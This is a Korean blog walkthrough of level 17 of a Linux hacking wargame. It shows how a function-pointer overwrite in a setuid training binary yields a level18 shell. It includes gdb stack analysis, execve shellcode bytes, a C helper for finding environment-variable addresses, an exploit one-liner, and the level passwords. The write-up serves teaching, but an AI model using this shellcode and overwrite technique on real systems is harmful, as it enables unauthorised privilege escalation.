반응형

login as : level17

password : king poetic


level17 문제 확인

 

level17은 이전 level16과 비슷한 문제이다.

 

다만 다른 점이 있다면 level16에서는 shell() 이라는 함수가 있었고, 해당 함수에서는 setreuid() 함수와 system() 함수를 호출해 level17 권한으로 셀을 실행했다.

 

그렇기에 level16에서는 실행 흐름을 printit() 함수의 주소 대신 shell() 함수의 주소로 바꾸면 됐었다.

 

하지만 이번 level17에서는 level16에서와는 달리 shell() 함수는 없고, main 함수에서 level18 권한으로 call 포인터 변수가 가리키는 주소에 있는 명령을 실행한다.

 

위의 코드를 보면 level16처럼 fgets() 함수로 48byte만 입력받기 때문에 RET 주소를 수정할 수 있는 bof 취약점은 차단되어있다.

 

하지만 call 포인터 변수의 값은 변경할 수 있을 정도이므로 상관없다.

 

참고) 함수 포인터도 포인터이므로 void 타입의 포인터 변수라고 하더라도 int 타입과 동일한 4byte 구조로 스택에 자리 잡는다.


스택 구조 확인

 

 

cp attackme tmp

cd tmp

gdb -q attackme

set disassembly-flavor intel

disas main

 

attackme 파일을 tmp 디렉토리로 복사한 후 tmp 디렉토리로 이동해 gdb로 열고 디스어셈블리 문법을 intel 문법으로 설정한 다음 main() 함수를 디스어셈블 하면 위와 같이 출력된다.

 

 

ebp-16 주소에 0x08048490 주소를 넣는데, 이 주소는 위와 같이 printit() 함수의 주소이므로 ebp-16은 call 함수 포인터 변수임을 알 수 있다.

 

 

fgets() 함수를 호출하기 전에 ebp-56의 주소를 스택에 넣는 것으로 보아 buf[20]의 주소인 것을 알 수 있다.

 

그렇다면 buf와 call 사이의 공간은 56 - 16 = 40으로 40byte 공간이 있다는 것인데, buf는 20byte이므로 나머지 20byte는 dummy 값이라는 것이다.

 

 

실제로 call 함수 포인터 변수 안에 들어있는 주소를 호출하기 전에 bp를 걸고 실행한 뒤 "AAAA" 값을 입력하고 스택을 보면

 

0xbffff100 주소에 입력값 "AAAA"가 16진수 형태로 0x41414141이 들어가있고, 0xbffff114주소부터는 dummy 값이며, 0xbffff128 주소는 call 함수 포인터 변수의 공간, 0xbffff12c 주소는 crap 변수의공간, 0xbffff130부터 8byte는 dummy 값이고, 0xbffff138과 0xbffff13c는 SFP와 RET 공간이다.

 

낮은 주소 20byte 20byte 4byte 4byte 8byte 4byte 4byte 높은 주소
0xbffff100 0xbffff114 0xbffff128 0xbffff12c 0xbffff130 0xbffff138 0xbffff13c
char buf[20] dummy *call() crap dummy SFP RET
"AAAA"   0x08048490        
낮은 주소
20byte 0xbffff100 char buf[20] "AAAA"
20byte 0xbffff114 dummy  
4byte 0xbffff128 *call() 0x08048490
4byte 0xbffff12c crap  
8byte 0xbffff130 dummy  
4byte 0xbffff138 SFP  
4byte 0xbffff13c RET  
높은 주소

 

이를 표로 나타내면 위와 같다.

 


공격

 

셸코드를 환경 변수에 올려서 셸코드가 담긴 환경 변수 주소로 call 함수 포인터 변수의 값을 바꾸면 main 함수에서 level18 권한으로 프로세스를 실행하도록 되어 있기 때문에 level18의 셸을 획득할 수 있다.

 

export shellcode=`printf "\x31\xc0\x31\xd2\xb0\x0b\x52\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x52\x53\x89\xe1\xcd\x80"`

echo $shellcode

 

위와 같이 셸코드를 환경 변수에 등록해준 다음

 

#include <stdio.h>
#include <stdlib.h>
#include <string.h>

int main(int argc, char *argv[]) {
	char *ptr;

	if(argc < 3) {
		printf("Usage: %s <environment variable> <target program name>\n", argv[0]);
		exit(0);
	}
	ptr = getenv(argv[1]); /* get env var location */
	ptr += (strlen(argv[0]) - strlen(argv[2]))*2; /* adjust for program name */
	printf("%s will be at %p\n", argv[1], ptr);
}
gcc -o getenvaddr getenvaddr.c

 

위와 같이 getenvaddr.c 파일에 위의 코드를 적어준 뒤 컴파일 한다.

 

./getenvaddr shellcode ./attackme

 

컴파일 된 파일로 위와 같이 shellcode 환경 변수의 주소 0xbfffff18를 구한다.

 

(for i in `seq 1 40`; do printf "a"; done; printf "\x18\xff\xff\xbf"; cat) | ./attackme

 

그리고 level17 디렉토리로 이동 후 위와 같이 공격 스크립트를 작성해 attackme 파일에 입력으로 보내주면 level18의 password why did you do it을 알아낼 수 있다.

 

위와 같이 환경 변수에 직접 셸 코드를 등록해서 환경 변수의 주소를 가져오는 것이 아니라 egg shell을 이용해 환경 변수에 셸 코드를 등록하고 출력된 주소를 이용해 공격할 수도 있다.

 

egg shell 코드는 level16 글을 참고한다.


 

 

반응형

+ Recent posts